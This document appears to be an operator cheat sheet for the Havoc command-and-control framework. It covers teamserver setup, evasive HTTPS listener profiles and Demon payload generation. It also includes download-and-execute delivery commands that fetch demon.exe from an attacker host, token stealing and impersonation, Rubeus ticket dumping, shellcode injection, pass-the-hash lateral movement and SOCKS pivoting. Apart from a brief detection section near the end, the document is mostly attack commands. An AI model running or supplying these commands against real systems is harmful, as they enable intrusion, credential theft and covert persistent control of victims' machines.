Havoc C2

Attacker Machine (Havoc Teamserver + Client)
│
│ ← HTTP / HTTPS listener traffic
│
Victim Machine (Demon agent)

sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
 libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
 libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
 qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
 qtdeclarative5-dev golang-go python3-dev mingw-w64 nasm

sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

make client-build
./havoc client

go mod download golang.org/x/sys
go mod download github.com/ugorji/go
make ts-build
sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug

All Teamserver-created data is stored under:
/Havoc/data/*

sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug

Teamserver {
 Host = "0.0.0.0"
 Port = 40056
}

Operators {
 user "Neo" {
 Password = "password1234"
 }
}

Demon {
 Sleep = 2
 Jitter = 20
 TrustXForwardedFor = false

 Implant {
 SleepMask = 1
 SleepMaskTechnique = 0
 }

 Injection {
 Spawn64 = "C:\\Windows\\System32\\notepad.exe"
 Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
 }
}

cd Havoc
./havoc client

Login fields:
- Profile name
- Teamserver Host
- Port
- Username / Password from Operators block

Listeners {
 Http {
 Name = "HTTPS Listener"
 KillDate = "2006-01-02 15:04:05"
 WorkingHours = "8:00-17:00"
 Hosts = ["10.0.0.10"]
 PortBind = 443
 PortConn = 443
 Method = "POST"
 Secure = true
 UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
 Uris = [
 "/funny_cat.gif",
 "/index.php",
 "/test.txt",
 "/helloworld.js"
 ]
 Headers = [
 "X-Havoc: true",
 "X-Havoc-Agent: Demon"
 ]

 Response {
 Headers = [
 "Content-type: text/plain",
 "X-IsHavocFramework: true"
 ]
 }
 }
}

1. Open View → Listeners
2. Click Add
3. Fill listener options
4. Click Save
5. Listener appears in the Listeners sub-window

1. Open Attack → Payload
2. Select the desired options
3. Click Generate
4. Save the compiled payload to disk

- x64 EXE
- x64 DLL

python3 -m http.server 8080

Invoke-WebRequest -Uri "http://<ATTACKER_IP>:8080/demon.exe" -OutFile "C:\Windows\Temp\demon.exe"
Start-Process "C:\Windows\Temp\demon.exe"

help
help sleep
help proc
help token
help dotnet

[DEMON] > checkin

[DEMON] > sleep 30

[DEMON] > job list
[DEMON] > job suspend 1
[DEMON] > job resume 1
[DEMON] > job kill 1

[DEMON] > proc list
[DEMON] > proc grep explorer
[DEMON] > proc module 1234
[DEMON] > proc kill 1234
[DEMON] > proc create normal notepad.exe
[DEMON] > proc create suspended notepad.exe
[DEMON] > proc memory 1234 PAGE_EXECUTE_READWRITE

[DEMON] > token getuid
[DEMON] > token list
[DEMON] > token find-tokens
[DEMON] > token steal 888
[DEMON] > token impersonate 2
[DEMON] > token make LAB administrator Pass123!
[DEMON] > token privs-get
[DEMON] > token privs-list
[DEMON] > token revert
[DEMON] > token remove 2
[DEMON] > token clear

powershell -c "Invoke-WebRequest -Uri http://<ATTACKER_IP>:8080/demon.exe -OutFile C:\Temp\demon.exe; Start-Process C:\Temp\demon.exe"

impacket-smbserver share /tmp/payloads -smb2support
wmiexec.py lab.local/user:Pass123!@<TARGET_IP> \
 "cmd.exe /c \\<ATTACKER_IP>\share\demon.exe"

Client → Sessions
A new Demon should appear after successful callback.

[DEMON] > token getuid
[DEMON] > token privs-list
[DEMON] > checkin

[DEMON] > token find-tokens
[DEMON] > token steal 1234
[DEMON] > token list
[DEMON] > token impersonate 1

[DEMON] > token make LAB Administrator Pass123!
[DEMON] > token impersonate 2

[DEMON] > token privs-get
[DEMON] > token privs-list

[DEMON] > dotnet list-versions
[DEMON] > dotnet inline-execute C:\Temp\Seatbelt.exe all

[DEMON] > dotnet inline-execute C:\Tools\Rubeus.exe triage
[DEMON] > dotnet inline-execute C:\Tools\Rubeus.exe dump

Module concept:
- Load InvokeAssembly
- Execute a .NET assembly inside a separate process
- Pass arguments such as CLR version and AppDomain

Powerpick executes unmanaged PowerShell by loading CLR into the fork-and-run process. 

[DEMON] > proc create suspended notepad.exe
[DEMON] > dotnet inline-execute C:\Tools\SharpHound.exe -c All

[DEMON] > checkin
[DEMON] > proc list

[DEMON] > dotnet inline-execute C:\Tools\Seatbelt.exe all
[DEMON] > dotnet inline-execute C:\Tools\SharpHound.exe -c All

Use Powerpick to run PowerView or custom PowerShell recon without spawning powershell.exe in the usual way. Official module description says Powerpick executes unmanaged PowerShell commands by loading CLR into the designated fork-and-run process. 

- Domain controllers
- Domain Admins membership
- Logged-on users
- Trust relationships
- GPO-linked systems
- Local admin overlap

[DEMON] > token list
[DEMON] > token impersonate 1

[DEMON] > proc create normal cmd.exe
[DEMON] > proc create suspended notepad.exe

[DEMON] > shellcode inject x64 1234 C:\Tools\beacon.bin
[DEMON] > shellcode spawn x64 C:\Tools\beacon.bin

wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP>
psexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>
evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>

GUI path:
Right-click agent → Pivoting → SOCKS5 Proxy

Havoc socks5 SESSIONID 127.0.0.1 1080 start
Havoc socks5 SESSIONID stop

proxychains4 nmap -sT -Pn -n 192.168.1.0/24
proxychains4 crackmapexec smb 192.168.1.10 -u admin -p Pass123!
proxychains4 wmiexec.py lab.local/admin:Pass123!@192.168.1.20

Demon {
 Implant {
 SleepMask = 1
 SleepMaskTechnique = 1
 }
}

Injection {
 Spawn64 = "C:\\Windows\\System32\\notepad.exe"
 Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}

[DEMON] > shellcode inject x64 4242 C:\payloads\raw.bin
[DEMON] > shellcode spawn x64 C:\payloads\raw.bin

Service {
 Endpoint = "service-endpoint"
 Password = "service-password"
}

from havoc.service import HavocService
from havoc.agent import *

havoc_service = HavocService(
 endpoint="ws://0.0.0.0:40056/service-endpoint",
 password="service-password"
)

Teamserver interaction data:
Havoc/data/*

# Check suspicious process creation and parent/child behavior
Get-WmiObject Win32_Process | Select Name, ProcessId, ParentProcessId, CommandLine

# Look for unusual CLR loads in unexpected processes
# Inspect injected processes and memory-protection transitions

# Review unusual repeated HTTPS traffic to custom URIs / headers

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

make client-build
make ts-build

sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug
./havoc client

1. View → Listeners
2. Add
3. Configure HTTP/HTTPS settings
4. Save

1. Attack → Payload
2. Pick listener
3. Choose x64 EXE or DLL
4. Generate
5. Save payload

checkin
sleep 30

job list
job suspend 1
job resume 1
job kill 1

proc list
proc grep lsass
proc module 1234
proc kill 1234
proc create normal notepad.exe
proc create suspended notepad.exe

token getuid
token list
token find-tokens
token steal 1234
token impersonate 1
token make LAB Administrator Pass123!
token privs-get
token privs-list
token revert

shellcode inject x64 1234 C:\payloads\raw.bin
shellcode spawn x64 C:\payloads\raw.bin

dotnet list-versions
dotnet inline-execute C:\Tools\Seatbelt.exe all

Havoc installed and Teamserver running?
│
├── Create HTTP/HTTPS listener
│
├── Generate Demon payload
│
├── Deliver payload to target
│
├── Session appears in client
│ └── checkin / proc list / token getuid
│
├── Need stealth?
│ └── tune sleep, jitter, headers, URIs, sleep mask
│
├── Need better privileges?
│ └── token find-tokens / steal / impersonate / privs-get
│
├── Need more capability?
│ └── dotnet inline-execute / Powerpick / InvokeAssembly / modules
│
└── Need injection?
 └── shellcode inject / shellcode spawn